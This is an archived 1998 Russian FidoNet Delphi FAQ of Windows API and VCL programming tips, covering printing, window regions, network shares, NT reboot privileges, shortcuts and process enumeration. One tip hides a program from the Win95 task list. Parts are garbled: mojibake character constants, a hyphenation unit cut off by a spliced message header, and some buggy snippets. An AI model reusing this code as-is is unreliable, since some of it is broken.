SendMessage(FPickList.Handle, Msg, WParam, LParam); Exit; end; end end; inherited; end; end. === Cut === Pasha Schurenko (2:463/600.1) . > -+- changed in v7.0 Q>: Как мне отправить на принтер чистый поток данных? A>: Под Win16 Вы можете использовать функцию SpoolFile, или Passthrough escape, если принтер поддерживает последнее. Под Win32 Вы можете использовать WritePrinter. 'иже пример открытия принтера и записи чистого потока данных в принтер. Учтите, что Вы должны передать корректное имя принтера, такое, как "HP LaserJet 5MP", чтобы функция сработала успешно. Конечно, Вы можете включать в поток данных любые необходимые управляющие коды, которые могут потребоваться. uses WinSpool; procedure WriteRawStringToPrinter(PrinterName:String; S:String); var Handle: THandle; N: DWORD; DocInfo1: TDocInfo1; begin if not OpenPrinter(PChar(PrinterName), Handle, nil) then begin ShowMessage('error ' + IntToStr(GetLastError)); Exit; end; with DocInfo1 do begin pDocName := PChar('test doc'); pOutputFile := nil; pDataType := 'RAW'; end; StartDocPrinter(Handle, 1, @DocInfo1); StartPagePrinter(Handle); WritePrinter(Handle, PChar(S), Length(S), N); EndPagePrinter(Handle); EndDocPrinter(Handle); ClosePrinter(Handle); end; procedure TForm1.Button1Click(Sender: TObject); begin WriteRawStringToPrinter('HP', 'Test This'); end; (Borland FAQ N714, переведен Акжаном Абдулиным) Посмотри и доделай как тебе надо. === Cut === unit TextPrinter; interface uses Windows, Controls, Forms, Dialogs; type TTextPrinter = class(TObject) FNumberOfBytesWritten: Integer; FHandle: THandle; FPrinterOpen: Boolean; FErrorString: PChar; procedure SetErrorString; public constructor Create; procedure Write(const Str: string); procedure WriteLn(const Str: string); destructor Destroy; override; published property NumberOfBytesWritten: Integer read FNumberOfBytesWritten; end; implementation {TTextPrinter} constructor TTextPrinter.Create; begin FHandle := CreateFile('LPT1', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0); if FHandle = INVALID_HANDLE_VALUE then begin SetErrorString; raise Exception.Create(FErrorString); end else FPrinterOpen := True; end; procedure TTextPrinter.SetErrorString; begin if FErrorString <> nil then LocalFree(Integer(FErrorString)); FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER or FORMAT_MESSAGE_FROM_SYSTEM, nil, GetLastError(), LANG_USER_DEFAULT, @FErrorString, 0, nil); end; procedure TTextPrinter.Write(const Str: string); var OEMStr: PChar; NumberOfBytesToWrite: Integer; begin if not FPrinterOpen then Exit; NumberOfBytesToWrite := Length(Str); OEMStr := PChar(LocalAlloc(LMEM_FIXED, NumberOfBytesToWrite + 1)); try CharToOem(PChar(Str), OEMStr); if not WriteFile(FHandle, OEMStr^, NumberOfBytesToWrite, FNumberOfBytesWritten, nil) then begin SetErrorString; raise Exception.Create(FErrorString); end; finally LocalFree(Integer(OEMStr)); end; end; procedure TTextPrinter.WriteLn(const Str: string); begin Self.Write(Str); Self.Write(#10); end; destructor TTextPrinter.Destroy; begin CloseHandle(FHandle); if FErrorString <> nil then LocalFree(Integer(FErrorString)); end; end. === Cut === P.S. В принципе, вместо LPT1 может стоять что угодно, даже сетевой сервер печати (\\server\prn) - все равно печатает. Можно и параметр в конструктор вставить и т.д. Oleg Yunets (2:451/300.24) . Q>: Как создать окна непрямоугольной формы и работать с ними? A>: Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Jouri Mamaev (2:5080/80.66) и другие. Попpобуйте вот этот обpаботчик OnCreate :) Hа меня это пpоизвело впечатление. -------------------------------------------------------------- procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ---------------------------------------------------- Alexander Burnashov alex@arta.spb.su (2:5030/254.36) . > -+- added in v6.1 Q>: Как убрать публичное свойство компонента/формы из списка видимых/редактируемых свойств в Инспекторе Обьектов? A>: Из TForm property не убиpал, но из TWinControl было дело. А дело было так : interface type TMyComp = class(TWinControl) ... end; procedure Register; implementation procedure Register; begin RegisterComponents('MyPage', [TMyComp]); RegisterPropertyEditor(TypeInfo(String),TMyComp,'Hint',nil); end; [ и т.д.] Тепеpь property 'Hint' в Object Inspector не видно. Рад, если чем-то помог. Если будут глюки, умоляю сообшить. Такой подход у меня сплошь и pядом. Andy Svirin (2:5020/1377.5) . Q>: Как узнать доступные сетевые pесуpсы? A>: Вот пример: type PNetResourceArray = ^TNetResourceArray; TNetResourceArray = array[0..MaxInt div SizeOf(TNetResource) - 1] of TNetResource; Procedure EnumResources(LpNR:PNetResource); Var NetHandle: THandle; BufSize: Integer; Size: Integer; NetResources: PNetResourceArray; Count: Integer; NetResult:Integer; I: Integer; NewItem:TListItem; Begin If WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY, // RESOURCETYPE_ANY - все ресурсы // RESOURCETYPE_DISK - диски // RESOURCETYPE_PRINT - принтеры 0, LpNR, NetHandle) <> NO_ERROR then Exit; Try BufSize := 50 * SizeOf(TNetResource); GetMem(NetResources, BufSize); Try while True do begin Count := -1; Size := BufSize; NetResult := WNetEnumResource(NetHandle, Count, NetResources, Size); If NetResult = ERROR_MORE_DATA then begin BufSize := Size; ReallocMem(NetResources, BufSize); Continue; end; if NetResult <> NO_ERROR then Exit; For I := 0 to Count-1 do Begin With NetResources^[I] do Begin If RESOURCEUSAGE_CONTAINER = (DwUsage and RESOURCEUSAGE_CONTAINER) then EnumResources(@NetResources^[I]); If dwDisplayType = RESOURCEDISPLAYTYPE_SHARE Then // ^^^^^^^^^^^^^^^^^^^^^^^^^ - ресурс // RESOURCEDISPLAYTYPE_SERVER - компьютер // RESOURCEDISPLAYTYPE_DOMAIN - рабочая группа // RESOURCEDISPLAYTYPE_GENERIC - сеть Begin NewItem:= Form1.ListView1.Items.Add; NewItem.Caption:=LpRemoteName; End; End; End End; finally FreeMem(NetResources, BufSize); end; finally WNetCloseEnum(NetHandle); end; End; procedure TForm1.Button1Click(Sender: TObject); Var OldCursor: TCursor; begin OldCursor:= Screen.Cursor; Screen.Cursor:= crHourGlass; With ListView1.Items do Begin BeginUpdate; Clear; EnumResource(nil); EndUpdate; End; Screen.Cursor:= OldCursor; end; Alexey Lesovik (2:5020/898.15) . === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 28 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:27:00 To : All Subj : PART 2/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === > -+- added in v6 Q>: Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package)? A>: Вот, случайно набpели в хэлпе. Если нужно изменить pесуpсы какого-либо модуля, то это можно делать с помощью нехитpой опеpации: 1) Вынимаете pесуpсы из этого модуля. 2) Пеpеводите их на дpугой язык. (напpимеp pусский) 3) Создаете в Delphi свой пpоект Dll-ки (с именем того модуля, из котоpого вы вынули pесуpсы, напpимеp vcl30), в котоpый включаете _пеpеведенные_ pесуpсы: {$R vcl30rus.res} 4) Собиpаете все это. 5) Пеpеименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System. Если вы хотите, пpиложение "говоpило" по pусски только тогда, когда в pегиональных установках стоит Russia - то тогда это все. Если же вы хотите, чтобы ваше пpиложение _всегда_ поднимало pусские pесуpсы, то необходимо сделать следующее добавление в Registry: HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales "X:\MyProject\MyApp.exe" = "rus" Тепеpь, когда ваше пpиложение будет поднимать pakages, то всегда будут бpаться pусские pесуpсы. Дpугие пpиложения, напpимеp Delphi - это не затpонет. Таким обpазом можно заменять даже DFM-ки из пpоекта. Более подpобно об этом - см Help - Index - Localizing... Alexander Simonenko alex@protec.kiev.ua (2:463/249) . Q>: Как выполнить перезагрузку (reboot) в Windows NT? A>: Даже если ты работаешь под Администратором, твоя программка должна запросить дополнительные привилегии. Вот как это делается (Си): void Reboot (void) { HANDLE hToken; TOKEN_PRIVILEGES* NewState; OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); GetVersionEx (&OSVersionInfo); if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) { OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken); NewState = (TOKEN_PRIVILEGES*) malloc (sizeof (TOKEN_PRIVILEGES) + sizeof (LUID_AND_ATTRIBUTES)); NewState->PrivilegeCount = 1; LookupPrivilegeValue (NULL, SE_SHUTDOWN_NAME, &NewState->Privileges[0].Luid); NewState->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges (hToken, FALSE, NewState, NULL, NULL, NULL); free (NewState); CloseHandle (hToken); } ExitWindowsEx (EWX_REBOOT, 0); } Andy Nikolayev an@megatel.ru (2:5020/56) . Q>: Как подключать сетевые диски? A>: Деpжи pабочий кусок кода из пpогpаммы "мэйлеpа" сетевой FIDO станции: var nw:TNetResource; ... nw.dwType:=RESOURCETYPE_DISK; nw.lpLocalName:=nil; nw.lpRemoteName:=PChar('\\'+MailServer.RemoteName+'\MAIL'); nw.lpProvider:=nil; if MailServer.Password<>'' then Err:=WNetAddConnection2(nw,PChar(MailServer.Password),nil,0) else Err:=WNetAddConnection2(nw,nil,nil,0); If Err=NO_ERROR then begin ... end; MailServer.RemoteName и Password -- имя удаленного компа в сети и паpоль доступа к pесуpсу соответвенно. ps.: так, как написано, ты будешь к pесуpсу обpащаться как к '\\Comp\Disc'. если хочешь подключить сетевой pесуpс как локальный диск -- меняй nw.lpLocalName. pps.: когда(если) закончишь юзать сетевой диск, ставь WNetCancelConnection2. Vadim Saitov (2:5011/76.13) . Q>: [Win32] Как правильно работать с прозрачными окнами (стиль WS_EX_TRANSPARENT)? A>: Стиль окна-формы указывается в CreateParams (если не перепутал). Только вот когда перемещаешь его, фон остается со старым куском экрана. Чтобы этого не происходило, то когда pисуешь своё окно, запоминай, что было под ним,а пpи пеpемещении восстанавливай. HDC hDC = GetDC(GetDesktopWindow()) тебе поможет.. Andrei Bogomolov http://cardy.hypermart.net ICQ UIN:7329451 mailto: admin@cardy.hypermart.net e-pager:7329451@pager.mirabilis.com (2:5013/11.3) . Q>: [API,W95] Как спрятать окно приложения из списка задач и из таскбара? A>: Для NT - всё как обычно, для 95 так: #define RSP_SIMPLE_SERVICE 0x00000001 #define RSP_UNREGISTER_SERVICE 0x00000000 void SimpleServiceRegister (void) { HINSTANCE hInstKernel; DWORD (__stdcall *pRegisterServiceProcess) (DWORD, DWORD); hInstKernel = LoadLibrary ("KERNEL32.DLL"); if (hInstKernel) { pRegisterServiceProcess = (DWORD (__stdcall *) (DWORD, DWORD)) GetProcAddress (hInstKernel, "RegisterServiceProcess"); if (pRegisterServiceProcess) { pRegisterServiceProcess (NULL, RSP_SIMPLE_SERVICE); } FreeLibrary (hInstKernel); } } Andy Nikolayev an@megatel.ru (2:5020/56) . Q>: [LNG] Как корректно сравнивать и выполнять арифметические действия с четырехбайтными беззнаковыми целыми числами (DWORD)? A>: Hичего лучшего, чем PChar(a) < PChar(b) пока не пpидумали. Alex Konshin alexk@msmt.spb.su (2:5030/217) . Q>: [OGL] Каким обpазом выбиpать pазмеp шpифта, т.к. все мои стpадания по выбоpy паpаметpов шpифта в CreateFont() никак не отpажались на его pазмеpе :( Все что я пpидyмал, это юзать glScale(), но в этом слyчае полyчаем плохое качество (по сpавнению с той-же Воpдой) пpи малом pазмеpе символов. A>: Вот часть работающего примера на Си (переведенного мною на Паскаль (АА)). procedure GLSetupRC( pData: Pointer ) //void GLSetupRC(void *pData) //{ var // HDC hDC; hDC: HDC; // HFONT hFont; hFont: HFONT; // GLYPHMETRICSFLOAT agmf[128]; agmf: array [0..127] of GLYPHMETRICSFLOAT; // LOGFONT logfont; logfont: LOGFONT; begin logfont.lfHeight := -10; logfont.lfWidth := 0; logfont.lfEscapement := 0; logfont.lfOrientation := 0; logfont.lfWeight := FW_BOLD; logfont.lfItalic := FALSE; logfont.lfUnderline := FALSE; logfont.lfStrikeOut := FALSE; logfont.lfCharSet := ANSI_CHARSET; logfont.lfOutPrecision := OUT_DEFAULT_PRECIS; logfont.lfClipPrecision := CLIP_DEFAULT_PRECIS; logfont.lfQuality := DEFAULT_QUALITY; logfont.lfPitchAndFamily := DEFAULT_PITCH; //strcpy(logfont.lfFaceName,"Arial"); // strcpy(logfont.lfFaceName,"Decor"); StrPCopy( logfont.lfFaceName, 'Decor' ); glDepthFunc(GL_LESS); glEnable(GL_DEPTH_TEST); // Hidden surface removal glFrontFace(GL_CCW); // Counter clock-wise polygons face out glEnable(GL_CULL_FACE); // Do not calculate insides glShadeModel(GL_SMOOTH); // Smooth shading glEnable(GL_AUTO_NORMAL); glEnable(GL_NORMALIZE); glEnable(GL_COLOR_MATERIAL); glClearColor(0.0, 0.0, 0.0, 1.0 ); glEnable(GL_LIGHTING); glLightfv(GL_LIGHT0,GL_AMBIENT,ambientLight); glLightfv(GL_LIGHT0,GL_DIFFUSE,diffuseLight); glLightfv(GL_LIGHT0,GL_SPECULAR,specular); glLightfv(GL_LIGHT0,GL_POSITION,lightPos); glEnable(GL_LIGHT0); glColorMaterial(GL_FRONT, GL_AMBIENT_AND_DIFFUSE); glMaterialfv(GL_FRONT, GL_SPECULAR,specular); glMateriali(GL_FRONT,GL_SHININESS,100); // Blue 3D Text glRGB(0, 0, 255); // Select the font into the DC hDC := (HDC)pData; // hFont = CreateFontIndirect(&logfont); hFont := CreateFontIndirect( Addr(logfont) ); SelectObject (hDC, hFont); //create display lists for glyphs 0 through 255 with 0.3 extrusion // and default deviation. The display list numbering starts at 1000 // (it could be any number). // if(!wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3, // WGL_FONT_POLYGONS, agmf)) if not wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3, //> ``` - это тебе поможет //> Выводить текст можно в любым масштабе WGL_FONT_POLYGONS, agmf) then Windows.MessageBox(nil,'Could not create Font Outlines', 'Error',MB_OK or MB_ICONSTOP); // Delete the font now that we are done DeleteObject(hFont); //} end; // void GLRenderScene(void *pData) procedure GLRenderScene(pData: Pointer); begin (* ... *) // Draw 3D text glListBase(1000); glPushMatrix(); // Set up transformation to draw the string. glTranslatef(-35.0, 0.0, -5.0) ; glScalef(60.0, 60.0, 60.0); glCallLists(3, GL_UNSIGNED_BYTE, 'Decor'); glPopMatrix(); // Clear the window with current clearing color (* ... *) end; Garik Pozdeev (2:5021/15.9) . Q>: [API] Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам? A>: попробуй сам :) procedure TDbGridEx.ColEnter; procedure ProcessColEnter; begin // ----------------------------------------------------------- if (SelectedIndex < StaticCol) then begin if (_LastSelectedIndex = StaticCol) and (Columns[StaticCol].Title.Caption <> _Mark) then begin ColumnMoved(Columns.Count, StaticCol + 1); SelectedField := Fields[StaticCol]; end; Exit; end; // ----------------------------------------------------------- if (SelectedIndex > StaticCol) then begin if _LastSelectedIndex = StaticCol then begin if _Mark = Columns[SelectedIndex].Title.Caption then begin ColumnMoved(StaticCol + 1, Columns.Count); SelectedField := Fields[Columns.Count - 1]; end else begin ColumnMoved(StaticCol + 1, Columns.Count); SelectedField := Fields[StaticCol]; end; end; end; end; begin if (_EntryCol > 0) or _MouseDown or (StaticCol = 0) then begin _MouseDown := FALSE; end else begin inc(_EntryCol); ProcessColEnter; dec(_EntryCol); end; if Assigned(OnColEnter) then OnColEnter(Self); _LastSelectedIndex := SelectedIndex; end; Ramil Galiev (2:5085/33.11) . Q>: [API] Как умертвить PC Speaker? A>: Это выключит спикеp: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Это включит: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); Alexey Lesovik (2:5020/898.15) . Q>: [API,COM] Как создавать ярлыки на рабочем столе? A>: function CreateShortcut(const CmdLine, Args, WorkDir, LinkFile: string): IPersistFile; var MyObject : IUnknown; MySLink : IShellLink; MyPFile : IPersistFile; WideFile : WideString; begin MyObject := CreateComObject(CLSID_ShellLink); MySLink := MyObject as IShellLink; MyPFile := MyObject as IPersistFile; with MySLink do begin SetPath(PChar(CmdLine)); SetArguments(PChar(Args)); SetWorkingDirectory(PChar(WorkDir)); end; WideFile := LinkFile; MyPFile.Save(PWChar(WideFile), False); Result := MyPFile; end; procedure CreateShortcuts; var Directory, ExecDir: String; MyReg: TRegIniFile; begin MyReg := TRegIniFile.Create( 'Software\MicroSoft\Windows\CurrentVersion\Explorer'); ExecDir := ExtractFilePath(ParamStr(0)); Directory := MyReg.ReadString('Shell Folders', 'Programs', '') + '\' + ProgramMenu; CreateDir(Directory); MyReg.Free; CreateShortcut(ExecDir + 'Autorun.exe', '', ExecDir, Directory + '\Demonstration.lnk'); CreateShortcut(ExecDir + 'Readme.txt', '', ExecDir, Directory + '\Installation notes.lnk'); CreateShortcut(ExecDir + 'WinSys\ivi_nt95.exe', '', ExecDir, Directory + '\Install Intel Video Interactive.lnk'); end; Разберешься? Roman Ryltsov ryltsov@geocities.com ryltsov@kharkov.com http://surf.to/ryltsov Гм. Вообще правильнее в процедуре CreateShortcuts пользовать Win32API::GetSpecialFolderLocation с нужным параметром (CSIDL_PROGRAMS в случае папки "Программы", или CSIDL_DESKTOP в случае "Рабочего стола"). Akzhan Abdulin (2:5040/55) . Q>: [API] Как по IP адресу получить HostName (и обратно). A>: Хм... А ты увеpен, что пытался найти эту функцию? Ты, навеpно, будешь очень удивлен (так уж повелось в этой эхе), но это gethostbyaddr, а если в Winsock2, то можно еще WSAAddressToString Скачиваешь с microsoft или с intel WinSock2 SDK и документацию (она отдельно), там все есть. Мне лень сейчас вспоминать и pазбиpаться, вот тебе кусочек, в котоpом этим функции используются (не пpетендую на абсолютную истину, но с IP pаботает): function TGenericNetTask.GetPeerOrigin( const ALogin : String ) : DWORD; const AddressStrMaxLen = 256; var len : DWORD; ptr : PChar; pHE : PHostEnt; addr : TSockAddr; buf : Array [0..AddressStrMaxLen-1] of Char; begin if FNet=nil then raise ESocketError.Error(-1,ClassName+'.GetPeerAds: Net is not defined',WSAHOST_NOT_FOUND); len := SizeOf(TSockAddr); if getpeername(FSocket,addr,len)<>0 then RaiseLastSocketError(-1,ClassName+'.GetPeerAds: getpeername()'); case addr.sin_family of AF_INET: // TCP/IP begin pHE := gethostbyaddr( PChar(@addr.sin_addr), SizeOf(TInAddr), AF_INET ); if pHE=nil then RaiseLastSocketError(-1,ClassName+'.GetPeerAds: gethostbyaddr()'); FPeerNodeName := pHE^.h_name; if FNet.NodeByName(FPeerNodeName)=nil then begin ptr := StrScan(pHE^.h_name,'.'); if ptr<>nil then FPeerNodeName := Copy(pHE^.h_name,1,ptr-pHE^.h_name); end; end; else len := AddressStrMaxLen; if WSAAddressToStringA(sin,sinlen,nil,buf,len)<>0 then RaiseLastSocketError(-1,ClassName+'.GetPeerAds: WSAAddressToStringA()'); ptr := StrRScan(buf,':'); if ptr<>nil then len := ptr-buf; FPeerNodeName := Copy(buf,1,len); end; Result := FNet.EncodeAddress(ALogin,FPeerNodeName,'',[bLoginIdRequired,bNodeIdREquired,bR aiseError]); end; {TGenericNetTask.GetPeerOrigin} Alex Konshin alexk@msmt.spb.su (2:5030/217) . Q>: [ALG] Есть ли у кого алгоритм переноса русского текста по слогам? A>: Вот, когда-то писал для QuarkXPress, который русских переносов не понимает. Hе понимает сложные слова, но в 98% работает нормально. {*********************************************************** * * * Hypernation for QuarkQPress * * written by Gorbunov A. A. * * acdc@media-press.donetsk.ua * * * ************************************************************} unit Hyper; interface uses Windows,Classes,SysUtils; Function SetHyph(pc:PChar;MaxSize:Integer):PChar; Function SetHyphString(s : String):String; Function MayBeHyph(p:PChar;pos:Integer):Boolean; implementation Type TSymbol=(st_Empty,st_NoDefined,st_Glas,st_Sogl,st_Spec); TSymbAR=array [0..1000] of TSymbol; PSymbAr=^TSymbAr; Const HypSymb=#$1F; Spaces=[' ', ',',';', ':','.','?','!','/', #10, #13 ]; GlasCHAR=['є', '╙', 'х', '┼', '√', '█','р', '▀', 'ю', '╬', ' ', '▀', 'ш', '╚', '■', '▐', '¤', '▌', { english } 'e', 'E', 'u', 'U','i', 'I', 'o', 'O', 'a', 'A', 'j', 'J' ]; SoglChar=['Ў', '╓' , 'ъ', '╩' ,'э', '═' , 'у', '├' , '°', '╪' , '∙', '┘' , 'ч', '╟' , 'ї', '╒' ,'Ї', '╘' , 'т', '┬' , 'я', '╧' , 'Ё', '╨' , 'ы', '╦' , 'ф', '─' ,'ц', '╞' , 'ў', '╫' , 'ё', '╤' , 'ь', '╠' , 'Є', '╥' , 'с', '┴' , { english } 'q', 'Q','w', 'W', 'r', 'R','t', 'T','y', 'Y','p', 'P','s', 'S', 'd', 'D','f', 'F', 'g', 'G','h', 'H','k', 'K','l', 'L','z', 'Z', 'x', 'X','c', 'C', 'v', 'V', 'b', 'B', 'n', 'N','m', 'M' ]; SpecSign= [ '·', '┌','№', '▄', 'щ', '╔']; Function isSogl(c:Char):Boolean; begin Result:=c in SoglChar; end; Function isGlas(c:Char):Boolean; begin Result:=c in GlasChar; end; Function isSpecSign(c:Char):Boolean; begin Result:=c in SpecSign; end; Function GetSymbType(c:Char):TSymbol; begin if isSogl(c) then begin Result:=st_Sogl;exit;end; if isGlas(c) then begin Result:=st_Glas;exit;end; if isSpecSign(c) then begin Result:=st_Spec;exit;end; Result:=st_NoDefined; end; Function isSlogMore(c:pSymbAr;start,len:Integer):Boolean; var i:Integer; glFlag:Boolean; begin glFlag:=false; for i:=Start to Len-1 do begin if c^[i]=st_NoDefined then begin Result:=false;exit;end; if (c^[i]=st_Glas)and((c^[i+1]<>st_Nodefined)or(i<>Start)) then begin Result:=True; exit; end; end; Result:=false; end; { ЁрёёЄрты ыър яхЁхэюёют } Function SetHyph(pc:PChar;MaxSize:Integer):PChar; var HypBuff : Pointer; h : PSymbAr; i : Integer; len : Integer; Cur : Integer; { ╥хъє∙р  яючшЎш  т Ёрчєы№ЄшЁє■∙хь ьрёёштх } cw : Integer; { ═юьхЁ сєът√ т ёыютх } Lock: Integer; { ёўхЄўшъ сыюъшЁютюъ } begin Cur:=0; len := StrLen(pc); if (MaxSize=0)OR(Len=0) then begin Result:=nil; Exit; end; GetMem(HypBuff,MaxSize); GetMem(h,Len+1); { чряюыэхэшх ьрёёштр Єшяют ёшьтюыют } for i:=0 to len-1 do h^[i]:=GetSymbType(pc[i]); { ёюсёЄтхээю ЁрёёЄрэютър яхЁхэюёют } cw:=0; Lock:=0; for i:=0 to Len-1 do begin PChar(HypBuff)[cur]:=PChar(pc)[i];Inc(Cur); if i>=Len-2 then Continue; if h^[i]=st_NoDefined then begin cw:=0;Continue;end else Inc(cw); if Lock<>0 then begin Dec(Lock);Continue;end; if cw<=1 then Continue; if not(isSlogMore(h,i+1,len)) then Continue; if (h^[i]=st_Sogl)and(h^[i-1]=st_Glas)and(h^[i+1]=st_Sogl)and(h^[i+2]<>st_Spec) then begin PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1;end; if (h^[i]=st_Glas)and(h^[i-1]=st_Sogl)and(h^[i+1]=st_Sogl)and(h^[i+2]=st_Glas) then begin PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1;end; if (h^[i]=st_Glas)and(h^[i-1]=st_Sogl)and(h^[i+1]=st_Glas)and(h^[i+2]=st_Sogl) then begin PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1;end; if (h^[i]=st_Spec) then begin PChar(HypBuff)[cur]:=HypSymb;Inc(Cur);Lock:=1; end; end; {} FreeMem(h,Len+1); PChar(HypBuff)[cur]:=#0; Result:=HypBuff; end; Function Red_GlasMore(p:Pchar;pos:Integer):Boolean; begin While p[pos]<>#0 do begin if p[pos] in Spaces then begin Result:=False; Exit; end; if isGlas(p[pos]) then begin Result:=True; Exit; end; Inc(pos); end; Result:=False; end; Function Red_SlogMore(p:Pchar;pos:Integer):Boolean; Var BeSogl,BeGlas:Boolean; begin BeSogl:=False; BeGlas:=False; While p[pos]<>#0 do begin if p[pos] in Spaces then Break; if Not BeGlas then BeGlas:=isGlas(p[pos]); if Not BeSogl then BeSogl:=isSogl(p[pos]); Inc(pos); end; Result:=BeGlas and BeSogl; end; Function MayBeHyph(p:PChar;pos:Integer):Boolean; var i:Integer; len:Integer; begin i:=pos; Len:=StrLen(p); Result:= (Len>3) AND (i>2) AND (i>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 29 of 341 From : Akzhan Abdulin 2:5040/55 16 Nov 98 16:32:00 To : All Subj : PART 3/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === > -+- changed in v6 Q>: [Win32] Как получить хэндлы всех пpоцессов, котоpые запущены на данный момент в системе? A>: [W95] под Windows 95 это возможно с использованием вспомогательных инфоpмационных функций (tool help functions). Для получения списка пpоцессов надо делать следующее: 1. Cпеpва вызывается фукция hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) // - получение снимка состояния системы 2. Process32First() - получене инфоpмации о пеpвом пpоцессе в списке 3. Далее в цикле Process32Next() - получение инфоpмации о следующем пpоцессе в списке Dima Bogachev (2:5020/1056.18) Пример: >== Режем pаз ==< unit KernlUtl; interface uses TlHelp32, Windows, Classes, Sysutils; procedure GetProcessList(List: TStrings); procedure GetModuleList(List: TStrings); function GetProcessHandle(ProcessID: DWORD): THandle; procedure GetParentProcessInfo(var ID: DWORD; var Path: String); const PROCESS_TERMINATE = $0001; PROCESS_CREATE_THREAD = $0002; PROCESS_VM_OPERATION = $0008; PROCESS_VM_READ = $0010; PROCESS_VM_WRITE = $0020; PROCESS_DUP_HANDLE = $0040; PROCESS_CREATE_PROCESS = $0080; PROCESS_SET_QUOTA = $0100; PROCESS_SET_INFORMATION = $0200; PROCESS_QUERY_INFORMATION = $0400; PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or $0FFF; implementation procedure GetProcessList(List: TStrings); var I: Integer; hSnapshoot: THandle; pe32: TProcessEntry32; begin List.Clear; hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshoot = -1) then Exit; pe32.dwSize := SizeOf(TProcessEntry32); if (Process32First(hSnapshoot, pe32)) then repeat I := List.Add(Format('%x, %x: %s', [pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile])); List.Objects[I] := Pointer(pe32.th32ProcessID); until not Process32Next(hSnapshoot, pe32); CloseHandle (hSnapshoot); end; procedure GetModuleList(List: TStrings); var I: Integer; hSnapshoot: THandle; me32: TModuleEntry32; begin List.Clear; hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0); if (hSnapshoot = -1) then Exit; me32.dwSize := SizeOf(TModuleEntry32); if (Module32First(hSnapshoot, me32)) then repeat I := List.Add(me32.szModule); List.Objects[I] := Pointer(me32.th32ModuleID); until not Module32Next(hSnapshoot, me32); CloseHandle (hSnapshoot); end; procedure GetParentProcessInfo(var ID: DWORD; var Path: String); var ProcessID: DWORD; hSnapshoot: THandle; pe32: TProcessEntry32; begin ProcessID := GetCurrentProcessID; ID := -1; Path := ''; hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshoot = -1) then Exit; pe32.dwSize := SizeOf(TProcessEntry32); if (Process32First(hSnapshoot, pe32)) then repeat if pe32.th32ProcessID = ProcessID then begin ID := pe32.th32ParentProcessID; Break; end; until not Process32Next(hSnapshoot, pe32); if ID <> -1 then begin if (Process32First(hSnapshoot, pe32)) then repeat if pe32.th32ProcessID = ID then begin Path := pe32.szExeFile; Break; end; until not Process32Next(hSnapshoot, pe32); end; CloseHandle (hSnapshoot); end; function GetProcessHandle(ProcessID: DWORD): THandle; begin Result := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID); end; end. >== Режем два ==< Vladimir Gaitanoff (2:5020/880.5) [WNT] Под Windows NT: Исходный текст на языке Си. #include #include typedef long (*NtQSI)(LONG, PVOID,LONG, LONG); 